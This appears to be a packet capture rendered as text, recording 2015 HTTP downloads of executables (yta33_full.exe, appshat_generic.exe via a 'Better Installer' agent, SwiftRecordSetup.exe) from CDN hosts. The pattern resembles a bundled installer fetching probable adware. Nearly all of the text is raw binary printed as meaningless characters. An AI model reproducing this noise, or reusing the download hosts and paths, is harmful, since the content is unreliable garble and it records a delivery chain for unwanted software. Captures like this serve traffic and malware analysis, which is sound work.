............N=/D]yB...H....5.S.x.so.X..5p...U.b.V.l..).{....{.T....BG^
..H=..e...../[email protected].[`93...i'..Y..!......i.S._2..
.d..... ..P & .mTJ.../g..3.9..or ..w.}.X9.w_09x.!.....T.h..$..{.8x.U..
wS~.j.....?..e....}..<.l...|.uy.O,.E.r...<.....A.!x....J.....S..
s|..CJ..$..........r...<r..Pr..."8e..yQ..SRzBXN.?.!...Q/....[.S.;n8
9dn......ka..>'...w]@r0....pV>D..w[....?-..9.TOIy_J.4.u.......6.
.j7....`...}.f.u....]..jnZv-..|z.?f...............*[email protected].
....'..., ............9..V...,;...v.]...o...OZ..V..[e..U.[..H1...nr]..
=.."....k?1....W...}..u.......5.b..v...2.....G....;.Z...gLopJ..h@.....
..._8.... \;.....y2.../.. .k./....x..R.......G...B.......62.......h.a.
.6Z.......:.C ...g.....(.....qL=l.......[|.,.....x8.o.8.-.n..P..%...Jt
....u.........C.........yy.0.........e6.}5*.g.1.. .>.....k][...?...
~Za.*.......j..LQ2r.`/...<.Nt...$...A{.K;..p.<.....*6..... .`.t.
Gw.....K>.4....d.Vn<.._.V......H}....B..],(..v.=.J....6.0.......
.T.g.xd?]g....P.5.....9..!.E2....{...>.h........=.:?R|....s.......F
..............}........bi2.r.!.....k...<D..Gz.E``#./A.D...M(3.>.
....L..6.4.f..:.#;-...W.1n6v.g.2. [email protected]=8......k.8,...3,....6.y...L
.......-.3......x.C.o...#H6....|.7t%[...hr..l..<zM.g.........Y..-r.
.zM.w;.>.].~...<[email protected][email protected].....{....."........
....../]?....7t1d.g.3..).`.<.~..f.r.j...)....p..B.u_...i..W........
..R<}}8.G... ...}.3..n.(].}..i....Tl.:..BW....._...P.._T,.^...XC.F.
asn....9..8.,&}..F..G.......<...:.Y......$.G..i.L..e...q.c.S...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3250000-3499999/7590800
.....].g...mw.!.&..[.X...t6#O..<.Y...,[email protected].."k...zk......
.Tg.u...o..>......y*.......;[email protected]...:".K;}l....v).kW
S...CI..j.s...I...0....n"...|..9.....UDI..:..P.W.:[.... .1&./.....4`(.
Y...=.bZ8........i....-...ZT...c..).....n.m..4.0.....Wq.Zw............
u.h...I...1~S.....'...0x%......'......-I...R...r..Tg.O..{9H.<,..:[.
[email protected].&.e...:;..g/@.....".x.....5..C....Q...;rQ.r.
P....>..\.`.y...{..I{...x.Z...TI....>p.g.:\..f.|_#5.w]y..w7.;...
Zhp'.]..5..zG.I...."..[.....,.^2.C.G.i..........O.Y.{...p...^toLT..g..
(p..S.....pt.v.k.m..<m.......|T...[... _.<Pm.....SNH qj..3.....N
.W....tp.4..v..a..s..>......T9.J..9.[..............\.i.2.QvG..{....
<Z...4..l.".y.[.H......Rq...0.u.O.O.17_.......Z'...K.{.....s[5...b.
..v.t.....F/.nXb...YqQG.x..X...jf.wGWem....{.h...^....C.]H.`.1h...W...
.rs...H.NJG....* ......1L...u.A.....u..:^^.^:..wY...Jj.u..y..v....1.]*
.^...-?...9._M-.:.tg....;....V... r_:...j..g.....&........5..#dq.iq...
;.......=."......W.&r.'-.........k.?..{.J..."..L...wB..R..,.........I]
..:..........9.\.j..=Z..2.<...Kv...d9:....&.f..lO.S>....}?.7|...
E...4Y.........=...}[email protected],.....O|[email protected]....
....(.^.3.E.m..?.vf....U..Z......H.a...=Ou.&T.......g..B.^x.'4'..sf...
U.....P....:......LC...$.....$..l./..C...f.9..s.`......3.A........~.&g
t;.;=-..X5Z....A*.Nw.>[email protected].`[.x.8..vZ..-R.....
.9..X..Tx..2.G,.s...-l..X,*.w.=4a.......n......J.T...Q.F....(....(F..l
..*):..1.3...l..........[.. .{f...X.!..D.g.'...`..E..j.s....... ..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3750000-3999999/7590800
{M......v..].!..=F..)OS.b....MRKR.U.W.V.\5..y..5..F....-.[.cS....Z..oi
..]0...8...a7.:'Q..Nb..I.&..o...~h.......l]>...&.8Bk.!'b..dGN....,.
...S...6!s.r.J.J,U.W..TZ...Y...KwVe-...~K_....S..`...53...J.H.<..0I
.a.C......}d...].<....K.dU.....[........<:=.2...eI.R...J....{r..
v..l...z...].&....x..\.V.i.Q_'..].&b. ..;.p...2!.....>:.,..)..._...
n>..Dm.....sgFV..9Rk.A.$.U.[;{b.T.\Ju{.~.s.y....fe.J!..cQG...K$.!..
....ze.d/._h.[..4.t9h/.hZ...U.d.....Er.n.m.m...U. .{..d8...V......j...
.7.-.D...].o^g|......z.s.A.Z#...j0m...1...r.v.....gV.....i..D..9...BI.
1....(.a.....(.K~0s..S...d...................&,....Fh.a...r..X...6...%
Q,..T[).R.JY.....jr.jg..ye.eq.7..j.c.^$MG...ZP...xO(/..}I...O......S..
...4YT."[email protected]....=.l..EL....2<E..?..T.s.[..
.?.KT#.%.......~....i.4...i.VA[..4H..R..% .......L3<..>.!......0
.........,..8.B....l.r..,#5.....;....sP.A.9%<%.KHK.H.C...v%.K)../:-
.\.u..=g..vje.....V_[.....Mw...U^W..uY%y....idT....N'.N\..p.a5..T.-...
v1.....<.._3.RfI1..V..vs.....h.MS..}..g.......<.......;...*.....
...%$...........?..2~...........@%..X....Yli.-..n.........I1u...2.6Y})
.R:..4C..Q..u..".c6...Q(..P!..n..C..\{...].]Jp.....\.V......K.:Cw..J..
.....e. .K..W.p..n.l.T.....'...]b"c].qh.....*9lF.,!R.y#.%.G../xuB...i.
*^:.7.......EB.~.d..]...yv...Xyr......0^......I ...9.f.&..(}....O...m.
....^.........q.Evp.u=...F.8..l ..yc.fb..m..,).....q....68...6T..o....
I.)-U..F..?..9..;..J.N..P..`..v.X.._..).^.y YWb...h....&....n.X.c.....
Ij%..%....M$.1......k......;m\.....v......y.r.n....{.u._RU.....pI.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4250000-4499999/7590800
....].....M.MNv....l......M..w... ........N._..'........y]D~.xE~../..5
..e!..B.$&...@&rN.....m.....6...;..."f...\..d......V(....]..[..\....G&
.3!b3!b....x._&.=... .....Q..$...B.6..r....l..*..M........ .|(..b ....
.R.b....l.y.b...].....j.-W10.-7.-..1....b.l....F3..G..Q...w..RZ..(....
?.m|I..~.zs..).`.t.zs...`..~O!..N'>..R.h..L]:Z..[j>Z.....<..&
lt;.9.....3...Qe.QeAF56.RAKK}8.|.3..F...&. ..F.R @l.^...."6.%..."..(j.
e.(Eh..&..P...Q..R..=].:..2..2.1.mi...F..........c.....A;..g.....J....
...".C.....l......H>z)=E.3....s..H..].n....i..dP<..Oa.30....0...
.. .'..d.....F..1O.........1..`.e..8..g0..GdEL.A....D.&.. ..&..fm..6r,
.q...i..F.H..(zz...O....T..P..P........Dm.2[.F.Pgpml.M..v.y......HgT.Y
j#.R....6... <[email protected]...._k.....`.)D~.....N.,d,......^.....&
....0..... .&..J.|....N....... ~c......`....5...6.Ed.......0F...Ai...g
....`........O.8.<.B..D..`T'...J1..W.....XB#...I,......qMl....OL...
vM.C.....SB."...@..(..3e>"G.2m...%......-..Z..;.....kNQ\.....|;..I.
.c.g..c.....l....#&. ../...H".. ..{2..F.n...3e.A.B........^EQ.g.....4~
E..4.MC..........i.,.!...qL-......u;_..V..L.=..:Q..E...N.IB..[JH=$d..E
Q.$....F.`.5......@ [email protected],.;....?..W.r6......q.n.eT.;
...%...#fl.z..~.Sp..!XY..P..?R.V.....'...:Y}..I\.S*A..4K.....V.X9.Y!&l
t;[email protected]...".~.....i\.....~..J. P..\.%_P......K."..".
...x..[..D&6G...5i1bA..u..I...g.......g."6:Qv'.........=..=s.5.......g
.vP{d.\t..*j'.13.\K..g............_.l..}d..M..-.J&..B...T.6....6...(..
...>[email protected].#..I..]h.]h....L.....NU....|....0..ug...|
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4750000-4999999/7590800
 .0S...n.HC..(k..m]V.........V..R..;_lEM?Q$7..;..e0.>i.D....F_Z....
..!&-..e....D.%^*.._.X.....Z.E.F]....fY..ZK..mf....v.G..?.9q.....0_.n.
K.U.fxS......i^.6A.;.3......f.....D..[k...\....]..mO.Y`P..6...b.l9(..7
E..3.....n5...).b.....D..z..4s....?....P.a.......b/...:.7.%P....".Vu..
7..'.e.....x..%$.*......f.j..q...QX..%."N%..n.3d....*DO.7El."...|...].
.T.....a................yzdg.4..s:.Pg...a.~%\o.$@;.a.D...|d.{.....|lp.
#....{L?.^b.04wg..n.B.G|.,.."..>.1*.#.. qU...>...'..K..Q.,..Y..8
..r>...O....a.......Jb....KN.P..a.=s../.$4...B...G.6I../U$P0.....;[
.P.>j.[..Ebt..!..R..!i..v..J.........e..........-.........o..z..|.a
F$...nP.C..J8...W.H..._...L'.%DL("..%..w..l....g"..Qv.5...g._..iH`.)..
.[u9..[[email protected]."........N.Iln_...s......c H\)...........Z.q........{...
/T.....kY.o&K....vw.Vg.Oq]...0.0...X#kidH.PI...1.. 9..T.3W.y}..=.....,
g..R..N..'~....w...H...P..bCUT.7.=.\S..4..U(.....^..;A.b]....e~..Si..H
.:.C.....0..?......Q......D.B.H..-N..w..[...v...S...U2".....).....`r.w
...7Z.p.....<UV...$...m..6.-.c[O....U.M..$./.,.........1k.9._h....v
.c.(.....s..._bt1(o. ..HUn.D.....v.....J...h6..t.9R.;/.= [email protected]@
..(.#r.[......mj....f.={uj.........2r...rV.2..0....P(....P..E....r.#S?
.....U...'TK..(......O.c\...W...r..C%..:-...,..wX.p..1n.-z2..A.h.:8$.$
v........\.....M...m.4?v..[.|..J.4nq..&..1......Tp...p..5.\...6:...E#.
2..O....A.h.S9Ed..g..kn..h7*0`...O......PMr.z...QYNA.......%...|...Z .
.-.(z..a..F..h.Z.mBeF1 fmn/...wb1E....}*[email protected]^'zc.%M.&K.E....n.M.w.d..
(..r#....d1.....(E).{..R...u`y.)h.z.&v,..s>.B.z......;..b.4:TL.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5250000-5499999/7590800
;b.AF..#......`6#.d...#....K.t.[..s...._U..j1s6.........B...oW.......i
..2..k.~..w98m.$.:{.._.J........h.S..0HoA.(s...e.zY...d._J...u........
o&...>...A..b.......A\..bK...:...........G.....-p..%c^.I..S..b..S[&
gt;-.........k........}@.{....8......8.2WA...SW..%.S .bG...o.\....<
.5o...<P.....}..pR...6r".G.E..E)E...lL._....~...`O.r...j.m./4.....a
Q......H.27..0..RE..%.......f."`y....Q.<...~f.P....D...6...n...k.M.
=.gx...bQ...O$..a..@r\..;.;[email protected]'hE...x...?T6.w.K.q..-n V>.L.
8C......l...F...Y..{\.;%Z;.Z/.....W?.7..........)*.....l.L:.N..H.....j
^....D.....;.G(.....-......F...cJF:......m '....Q.:}M9...f.l...}....".
.e).M...,.....b...J.....FB...9..HT.#.'.w...R]f.p.......e....u.K...3l.@
...d.'.4.v...E...S..Y...*..........d/...o..7........mc......xr.......[
.k...S.$.;R.W..t9.$...)~...Zf.....O$...C.u.A.7...:.....:./c.9........:
Ie.{j.L.R......Q."4q.mnDQ.f..M7........m_.keE.}../...v.....n .g..2..Pp
..._..|.2..i............v.U..{..J....4..8N.e...]#.$..M..../.t.....4.].
|f....ybsx......)........>)d..`..8..JcAlxE.....j.0Y....."W.JL...~..
.5@...?o.Q&e.<M.......W....../h.n.....e...........Q.ny_6.w....K...]
...Y.'..Hr.{..K..l]...4.......x.M...........5.L.7Y...4..!-.~lI.jR....^
QX..n6nlJ.4...=./.W.w:.v..5....K...Je5 ..'..7 ).Z.W.Ya.......}G..q.'.`
.j@<.....J...Vd...x....Y.[.jw....:....Z.....;tOSp].G..zGn....H...nb
....Mj8.u:Q.ys.'.Qu..V........{k...(.J.D...0%....j.........#^K........
.F!.L.Bh.........w.dkD:..5..;.@....*..F.Qc.0..^<Ft.W..F;......P..C.
.bK7']8[2.l*..1..M...k.....Q..uB\N.uG?x..H.....n..m.N.........8.H.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5750000-5999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5750000-5999999/7590800
Bmd[..~..{H.......wa.?@.$...7.:.<.YL.u...Y.N[j.@Q...#...d@.."V$5.#.
......".C.....Z s.Z.< .X.....r...w-.........-W..0.............. .V.
T...E..bH\:]D....'(X,.,..6...C$k.X.H...T.4r....(...$.N.n.jO7....R...)v
@G..6.XF..n..6....j.T...g...G. ...=0^....G`i......N..;5^.W.`.H|..I.b..
..aU=M.%&/x..x.}....V.`.p..O.A(3.i..Q.'....F...B..c...Z.T...2S...H.Y.V
v-.1.......JI...=9=....G:...#-...1..]V.j.....f... ..P.Q....U....E..D.Q
.`...L.#...k...t0bb....Dm.C....f..MS*J.......}..j....v..............I.
-qj..\~p.W..n$HW;.|.&\..4........}J..h.w55^.vg.Lq<wI..........}....
..;w9.c.O...(R....0..^[R..1........ 6...g.....?....l.&3(.y.Q-y:HN..>
;p 4.]......yO..m.H.nc........>..[.....B.x..........BBx.........TA.
..B.0o3.tu...q.X....v/....t...fd.......'..x..u.K%..e$)......q.lY...U..
C...L..E.....T^`#..NE.v).l...#.....u_^B*.6....O...rA......}.o...|sq. .
....$.>.hi..{..ie1....h..J4.z.*.G.].VY. dCj._....$..XH...b..W,.....
...!...S...-m{.xh.. .v....CYO...d^J..i........n.'|..t;Q..........Q....
y.o.. QG,..E..iC.x.'..........oh.r....\. ...SOnQ#,erC..kG...(.*.(..L. 
.B)....W.-......?..W....w.|...L.....W....IF.....B.f.o...'..,\.`....|..
....*...6.T.L`.h3Q {.x.hp..>...2Vo.x.../xzE.b.u...b...m..Uai.....1.
.....2i0........QW.....\%7.........Z.."......1.....]....@[email protected].....
m._./.8....Vj...~.0....H.W..Cv..h..4...y.>FR8...M.?sE..L-.)...$~2.g
...B.,..V.u......J.E.....{>..........!......4.S.aPX .uL...i-}1..V..
...H.Bm....K;...2ZvA.....p2....a.m. q..6>..}%.bR..J.......".-u&p..@
[email protected]..#.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6250000-6499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6250000-6499999/7590800
=c.#.....6..0........!Fu..~..:.........<9...........~.....i.3.K.MdH
...F.0.I.[.F.....Pt....3=W*..l..-.....|.C................q..!y.@...;.0
.u..R...u.......e..'.H.......C.'..l...s6 .X6"..X....b...%.7....Cb...Q.
."l a..V...LP8.'#.....#...;.(Z#....r.[....W|....QR.R...Ly:..#.;...j.w.
>.....7.[*.....7..v...7g...".1X....[..2... dh..K.......(...Y.......
bs._Qr...B...bA.6..@.~.u\.....%..4..9o.9...).D...\z=Zj".....Eay.}&%z. 
z..}.*.L.4..l\r.:.....5n.e*..V.J... D...j.~.zQ.......5B|.`.O..Xl....rA
.... l.`5dPj8 ....3.x...o\....'Y\oy..A......H..../..bt..u:J.3Q.F..I.jl
.....P...C..[...V.k......x....c.i..Hmu.. ...nL....g.Z$!...X.j.Z.*.1.J.
.xzQy{$...WS....{S..f:...4..\.....e.l........".i.s.&...;...]...%zL..J.
cI.y......G......B.`-.....d..j.&/..*......K...s...8..E.`....~.F.*.Es..
TO4..1.....L|B....h7....P.d..p.....N.0........N......i,&..;......M....
...sf.......1....jc..K...`I<......2..'....m...F.s....c..e10.!3jOu..
E....l.&.....#...g..@...[/...i...{....Y/...b.G..8...C.3..2%...;..d....
..zq..|.N....!..]..u...fu.6.....a....)i... ..I..L}.jMA...Y...).>.ZH
..<...S.[.....). .y..l...^...1?.YR........",..d?...C...".....?..k.W
..n5....$....~.@Y.~?...|..ZC.b...2.<.q._g.)..ZN.>......_.2#..r.q
...N...U]#\.}.b.L..Q.......y...._...e._H.......O.s.'...[|....I......S.
.\..Fp]..... ..Y..?...q.r,.#..sC...hU...Q.....6.8.TE.7....h?.Z....Z6.e
...U..vgK:....Q..[[email protected].{uD..}..Z......@.._.O..D,.....o....aZ.P...6
x2.9..... .....W...k...\.N..W.J5.&,..D%......M)......J.sm....o..`..#;.
...-1G........}..u,.c.).....'..Q.u.6C.mg............Y.z.....?.4...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6750000-6999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6750000-6999999/7590800
A.d.I?(..!.^.pc2....9.wf2..lZ.,..\.]Q..b.).0U.{hy.......B..-f..vM:.g..
.v.......!....].D*.....{s..U1.Q.bu..Z.B...6......bj.........5...".adY.
.%.....8V.q.$.......(...Z..$.A~G........t.2..b........_".%.7....H./e.9
.N.7.....Zbj...>.M.R.......#..........i..R.$.#....XxK.d8..&.k..7.].
.)_...=#.2..J....L.... .G....l.X...CA.i...-....T.A.S.:$.F.~...n.]Q%$..
.?H..a....O...#M......qD..=..K.......B....v...k........I.......s<..
,.1s6|..8D(.}..'..<.s.Q.....[M..[...\ .....]S}......j..V..?........
.......S...F..r._i....=\Ea.f[@....p....O...*[email protected].,.2ZA..Z.
r.3l.y...j#.L.q5..ct.KBnNx.$t.cMn.....(`....K..nt.;g..._.`......^...#U
.9RE`x... o..K.......A..F4}.:L.}.uQS.=,...........Dl..%....K.!)."EuKQ.
v...9.......f....9|..>Z..j.....k.......]...9]..;ul...16r....s..p3..
...n.....N.I...7t..J6j.wA..J=j.B...3p......L.[...}..8..j..o.w#{....|'.
..#..2..R..Y..._.>..!...^..nCw......._O........i~C....0.?}.z..m.c..
e..jpY$.;.m..H[...~....=.wR.'7Ih.........5..,wC. ...9...w..4u..@......
.....<.p,.._j.=..t.x.h..d..t..u.P8.,q..xX.....k.o.@...`....4...9..%
YgBo.1(d.$...)..n..y.:X.p/[...<.....*...A....<..ezO.....?6......
[email protected]...<..._6.....J...y../...I..FZ..w
..rH...oi.a..=....|...y|i|..5x.7-.c ..NE$_..m....]......u.!.....M.....
6jI.<%i&...n....S..$~G.6mR%w.C...Q....S7r../.o...\.,.}p.h..).......
]..F."....w..Y.._..{.c.5\f.. l.....{....U.*.D.!....?.).z..82.{....(...
A^`.`W.70........bnf.~.j...B......fe.......0.. .O...[.s.1=..I.0W..b!5.
.U.... ?I...R.....%..]?..D.........K.. 4.......&.....2! .VDce{....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7250000-7499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7250000-7499999/7590800
1if....t......... ...9..... .&K..#.......... aW.R...r.y.K..M.D...W.R..
$..l...:e..W.;..(.... .%..:.....:...T.0...]...C.Sg..UH.'p.85H.........
..l......#f.0XY.$....a...p....&.6..h..P....|d......e..'......J......q.
..<j..8sG......._R..Zg.@.,."9....@.)W....N0....6.7w%..`...s%..P{..d
w.!]d...u3<X/.......?D.......161?3..|..%...i...O.qR....Uc=......f.m
[email protected](....J..RD...k.6...O.VG.A..z^.N`[email protected] %..
A...L<.d.....tZ.3..yc..^.[...Hv.&.<9..}..D.J..Y..&G.....gs...Ek.
g|ow.z'W..!.m..$..r;~..LU.D1D5.j.,~..B.B#2...u!^...\....8...CW.h....g.
'!...,....q..G.......3...qTL.........V*O....L..|.~.........N.e-..)v..A
.........7...I.AqOz..i.3.Q.W...s.).....B..S{..~..........p..{.. z.._'c
.EB....]...0R.P..U...*|.....~.{.oa&.(.h6."8..j.T...A6..] OM........df.
Hklt3..io.-...|. ...*[email protected]...@/..<. ...o.......
..i...........5b>....#/=2P>F....C].yB.pc.S.I-..{.,.......'$.."..
.......x..D......5....x.M6^[email protected]..:..V.d@&...0.....{.#.K..
.{.....q&..k..S.6.....bc.....xq.R.P........W.^[email protected][.,.......m..\..
\...5.._...I...0....).K.C..U>U.#.................D...7;...W..H.(.a.
.>..Ps......1....r..[Nl..}......>r^..0O..&..%..FS....I..).E.Q...
").DL..K.8...#.."IV.R..V..Y....i.}......"..H1.../....nE0y.A......AJ.=L
........l.......sb.../ ....n...r1-`....^H-..n...z..C.p..J.1.........-1
.6...5.VO..[.>.-....?....%.|..j..8...4.A.U.........pP.9.z..f...cgb.
:......X..(ck.......X......P..5..............`...E.....d.K.K.z.i..eN..
.vy.....;..`f..B...V2H...MO...y..:-@..,D5.].:._Iw.B....U.I..?"z...
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=107085-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 178473
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 107085-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ssD1mRXPoaLjk7hR1ceaIbGYzDdoPxZxIfaXTyXrAn3LUC2VbHU0WA==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 523256
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:08 GMT
Date: Thu, 30 Apr 2015 09:22:08 GMT
